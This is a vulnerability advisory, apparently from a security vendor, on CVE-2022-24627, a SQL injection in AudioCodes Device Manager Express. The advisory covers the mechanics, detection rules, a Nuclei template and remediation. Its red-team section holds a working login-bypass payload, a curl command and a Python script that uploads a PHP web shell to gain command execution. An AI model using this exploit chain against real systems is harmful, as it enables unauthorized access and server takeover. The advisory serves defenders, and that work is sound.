CVE-2022-24627

Executive Summary

CVE-2022-24627 is a critical unauthenticated SQL injection vulnerability in AudioCodes Device Manager Express (versions up to and including 7.8.20002.47752). The flaw resides in the p parameter of the process_login.php login form, allowing remote attackers to bypass authentication without credentials. This vulnerability is part of a chain (CVE-2022-24627, CVE-2022-24629, CVE-2022-24630, CVE-2022-24632) that can lead to full remote code execution (RCE), arbitrary file upload/download, and command execution on the underlying Windows server. The product has reached end-of-life (EOL), meaning no official patches are available, making all deployments high-risk.

Supply Chain & Package Security

This is a proprietary on-premises application, not an open-source package. No NPM, PyPI, Go, or Ruby components are involved. The risk is entirely within the deployed appliance and its network exposure.

CVSS Breakdown & Threat Level

• CVSS v3.1 Score: 9.8 (Critical)
• Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and provides full administrative access to the Device Manager, which controls VoIP infrastructure. An attacker can extract sensitive configuration data, deploy backdoors, and pivot into the internal network.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the login authentication logic. The process_login.php script constructs a SQL query using the p parameter without proper sanitization or parameterized queries. By injecting a payload such as \'or 1=1#, the attacker can manipulate the query to always return a valid user session, bypassing authentication.

The exploit chain leverages this initial access to:

1. CVE-2022-24627 (SQLi): Bypass authentication.
2. CVE-2022-24629 (Extension Whitelist Bypass): Add arbitrary file extensions (e.g., .php) to the upload whitelist via ajaxGlobalSettings.php.
3. CVE-2022-24630 (Arbitrary File Upload): Upload a PHP web shell to the WebAdmin/region/ directory.
4. CVE-2022-24631 (Command Injection): Execute system commands via the ssh_command parameter in BrowseFiles.php.
5. CVE-2022-24632 (Path Traversal): Download arbitrary files from the server.

The SQL injection payload \'or 1=1# works because the backslash escapes the closing quote, turning the single quote into a string literal, and then or 1=1 makes the condition always true. The # comments out the rest of the query.

Vulnerable vs. Patched Code

Vulnerable Code (process_login.php):

// Unsafe: direct concatenation of user input into SQL query
$p = $_POST['p'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password' AND domain='$p'";
$result = mysql_query($query);

Patched Code (hypothetical):

// Safe: use prepared statements
$stmt = $db->prepare("SELECT * FROM users WHERE username=? AND password=? AND domain=?");
$stmt->bind_param("sss", $username, $password, $p);
$stmt->execute();
$result = $stmt->get_result();

The vulnerable code directly interpolates the p parameter into the SQL string. The patched version uses parameterized queries, which prevent injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Environment:

• Target: Windows Server 2019 running AudioCodes Device Manager Express 7.8.20002.47752
• Attacker: Kali Linux with Python3 and requests library

Exploit Usage: The provided Exploit-DB script automates the full chain. Save it as exploit.py and run:

python3 exploit.py <target_ip>

The script will:

1. Attempt SQL injection bypass using multiple payloads.
2. Present a menu to upload files, download files, execute commands, or add a backdoor.
3. For RCE, select option 4 (Add backdoor) to upload a PHP web shell.

Manual SQL Injection (Step-by-Step):

# Step 1: Bypass authentication
curl -X POST http://<target>/admin/AudioCodes_files/process_login.php \
  -d "username=admin&password=&domain=&p=\'or+1=1%23"

Full Chain Automation (Python snippet):

import requests

target = "192.168.1.100"
s = requests.Session()

# SQLi bypass
payload = "\\'or 1=1#"
data = {"username": "admin", "password": "", "domain": "", "p": payload}
r = s.post(f"http://{target}/admin/AudioCodes_files/process_login.php", data=data)

if "Configuration" in r.text:
    print("[+] Authenticated")
    # Upload PHP shell
    shell_content = "<?php system($_GET['cmd']); ?>"
    files = {"myfile": ("shell.php", shell_content, "text/html")}
    # First whitelist .php extension
    s.post(f"http://{target}/admin/AudioCodes_files/ajax/ajaxGlobalSettings.php",
           data={"action": "saveext", "extensions": ".cab,.cfg,.csv,.id,.img,.php,.zip"})
    # Upload to region directory
    s.post(f"http://{target}/admin/AudioCodes_files/BrowseFiles.php?type=",
           files=files, data={"dir": "C:/audiocodes/express/WebAdmin/region/", "type": "", "Submit": "Upload"})
    print(f"[+] Shell at http://{target}/region/shell.php?cmd=whoami")

Blue Team (Defender)

Detection:

• Monitor HTTP POST requests to /admin/AudioCodes_files/process_login.php containing SQL-like patterns (', 1=1, #, --).
• Alert on successful authentication followed by file uploads to WebAdmin/region/ or requests to ajaxGlobalSettings.php with action=saveext.
• Monitor for unusual file extensions being whitelisted (e.g., .php, .asp).

Hunting:

• Search logs for process_login.php with p parameter containing %5C (URL-encoded backslash) or %23 (URL-encoded #).
• Check for files in C:\audiocodes\express\WebAdmin\region\ that are not expected (e.g., .php files).

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2022_24627_AudioCodes_SQLi {
    meta:
        description = "Detects SQL injection payloads targeting AudioCodes Device Manager Express"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-24627"
    strings:
        $sqli1 = /\\'or\s+1=1/i
        $sqli2 = /\\'or\s+'1'='1/i
        $sqli3 = /%5C%27or%201%3D1%23/i
        $sqli4 = /p=\\'.*or.*1=1/i
    condition:
        any of them
}

Sigma Rule

title: AudioCodes Device Manager Express SQL Injection Attempt
id: 8a3f7c2e-5d1b-4a9e-8c6f-2e7b1a3d5c8f
status: experimental
description: Detects SQL injection attempts against process_login.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/AudioCodes_files/process_login.php'
        cs-uri-query|contains: 
            - 'p=\'
            - 'p=%5C'
            - '1=1'
            - '1%3D1'
    condition: selection
falsepositives:
    - Legitimate use of backslash in domain names (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2022-24627 AudioCodes Device Manager Express SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/AudioCodes_files/process_login.php"; http_uri;
    content:"p="; http_client_body;
    pcre:"/\\x5c\x27or\s+1=1/i";
    reference:cve,2022-24627;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2022-24627

info:
  name: AudioCodes Device Manager Express - SQL Injection
  author: geeknik
  severity: critical
  description: |
    An issue was discovered in AudioCodes Device Manager Express through 7.8.20002.47752. It is an unauthenticated SQL injection in the p parameter of the process_login.php login form.
  impact: |
    Unauthenticated attackers can exploit SQL injection in the login form to bypass authentication, extract sensitive VoIP configuration data, and potentially gain administrative access to the AudioCodes Device Manager system.
  remediation: |
    Update AudioCodes Device Manager Express to a version newer than 7.8.20002.47752 that uses parameterized queries and properly validates input.
  reference:
    - https://seclists.org/fulldisclosure/2023/Feb/12
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24627
    - https://github.com/tr3ss/newclei
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-24627
    cwe-id: CWE-89
    epss-score: 0.48689
    epss-percentile: 0.97772
    cpe: cpe:2.3:a:audiocodes:device_manager_express:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: audiocodes
    product: device_manager_express
    shodan-query:
      - title:"Audiocodes"
      - http.title:"audiocodes"
    fofa-query: title="audiocodes"
    google-query: intitle:"audiocodes"
  tags: cve,cve2022,seclists,sqli,audiocodes,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "audiocodes</title>")'
        internal: true

  - raw:
      - |
        POST /admin/AudioCodes_files/process_login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin&password=&domain=&p=%5C%27or+1%3D1%23

    matchers:
      - type: word
        part: body
        words:
          - "SQL syntax"
          - "mysql_fetch"
          - "You have an error in your SQL syntax"
        condition: or
# digest: 490a0046304402203035bfc23c486d8c21871d7e0b630e8eb0492cffc3781a5e63cf119668d68645022048aaa0581e1a12eb351d0238e3179ad9bb8ffd17e36ef32dfde4bda79ea55fe9:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: If the product is still in use, place it behind a strict firewall and restrict access to trusted IPs only.
2. Disable Unnecessary Features: If possible, disable the web interface or restrict it to localhost.
3. Web Application Firewall (WAF): Deploy a WAF with rules to block SQL injection patterns (e.g., \', 1=1, #`).

Long-Term Remediation:

• Upgrade: AudioCodes Device Manager Express is EOL. Migrate to a supported product (e.g., AudioCodes Device Manager Enterprise or a third-party solution).
• Code Review: If source code is available, implement parameterized queries for all database interactions.
• Network Segmentation: Ensure the Device Manager is on a separate VLAN with no direct internet access.

Compensating Controls:

• Enable detailed logging and monitor for the IOCs listed above.
• Implement application allowlisting to prevent execution of unauthorized files (e.g., .php in WebAdmin/region/).
• Use endpoint detection and response (EDR) to detect anomalous process spawning from web services.

Valters IT
"Securing systems, one CVE at a time."

{/* [Security Hash: AB88286F7D1A0C77A3CED8DA] */}